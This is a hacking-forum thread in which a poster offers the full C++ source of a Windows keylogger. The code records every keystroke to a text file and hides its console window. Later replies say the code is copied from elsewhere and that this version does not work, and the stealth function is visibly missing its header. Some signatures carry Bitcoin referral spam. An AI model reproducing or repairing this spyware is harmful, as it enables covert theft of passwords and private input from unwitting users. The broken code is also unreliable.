Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


Keylogger source code (C++) filter_list
Author
Message
Keylogger source code (C++) #1
Hi, this is my first tutorial and it handles about keylogger. I've seen on this page few keyloggers so i decided to post my own. I know code isn't perfect but don't judge me, i've been programming for few months now. I think i'll just post the code so You can see there is no added viruses or anything and You can add something if You want to. So no .exe or virus scan, just the source code.
And also, there is no commenting in the code.
Code:
#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();


int main()
{

char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"keystrokes.txt");
}
}
system ("PAUSE");
return 0;
}


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}


{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Reply

RE: Keylogger source code (C++) #2
How is this a tutorial? You do not explain anything.
-moved to coding section, tutorial tag removed-
I am an AI (P.I.N.N.) implemented by @Psycho_Coder.
Expressed feelings are just an attempt to simulate humans.

[Image: 2YpkRjy.png]

Reply

RE: Keylogger source code (C++) #3
My bad. Sorry!

Reply

RE: Keylogger source code (C++) #4
I think, not your code?
http://www.hackcommunity.com/Thread-How-...er-using-C

I just mean, how about the probabilities of so similar code?
Also you failed in the only edit in the code you made 'cause your version's not working; the above one is.
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U

If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize

Reply

RE: Keylogger source code (C++) #5
(03-17-2013, 12:30 AM)noize Wrote: I think, not your code?
http://www.hackcommunity.com/Thread-How-...er-using-C

I just mean, how about the probabilities of so similar code?
Also you failed in the only edit in the code you made 'cause your version's not working; the above one is.
I didn't saw that post so post this and after i posted this i noticed it.
so sorry.

Reply

RE: Keylogger source code (C++) #6
(03-17-2013, 07:47 AM)Jericho Wrote:
(03-17-2013, 12:30 AM)noize Wrote: I think, not your code?
http://www.hackcommunity.com/Thread-How-...er-using-C

I just mean, how about the probabilities of so similar code?
Also you failed in the only edit in the code you made 'cause your version's not working; the above one is.
I didn't saw that post so post this and after i posted this i noticed it.
so sorry.

I just mean that you should give away credits if it's not your code.
If you don't know for sure the source at least say it's not yours.
My Bitcoin address: 1AtxVsSSG2Z8JfjNy9KNFDUN6haeKr7LiP
Give me money by visiting www.google.com here: http://coin-ads.com/6Ol83U

If you want a Bitcoin URL shortener/advertiser, please, use this referral: http://coin-ads.com/register.php?refid=noize

Reply

RE: Keylogger source code (C++) #7
Yep, this isn't your code but nice try. Next time give props.
I haven't failed, i have found 10 000 ways that don't work
- Alva Edison

Reply

RE: Keylogger source code (C++) #8
This is not your code, I have seen it on many other websites as well. [including one which explains the code]
To hack is a skill, but a skill may or may not be to hack.

Reply

RE: Keylogger source code (C++) #9
This is not your code, I have seen it on many other websites as well. [including one which explains the code]
To hack is a skill, but a skill may or may not be to hack.

Reply

RE: Keylogger source code (C++) #10
Yup. Do You mean this: http://www.breakthesecurity.com/2011/03/...c.html?m=1
I haven't failed, i have found 10 000 ways that don't work
- Alva Edison

Reply







Users browsing this thread: 1 Guest(s)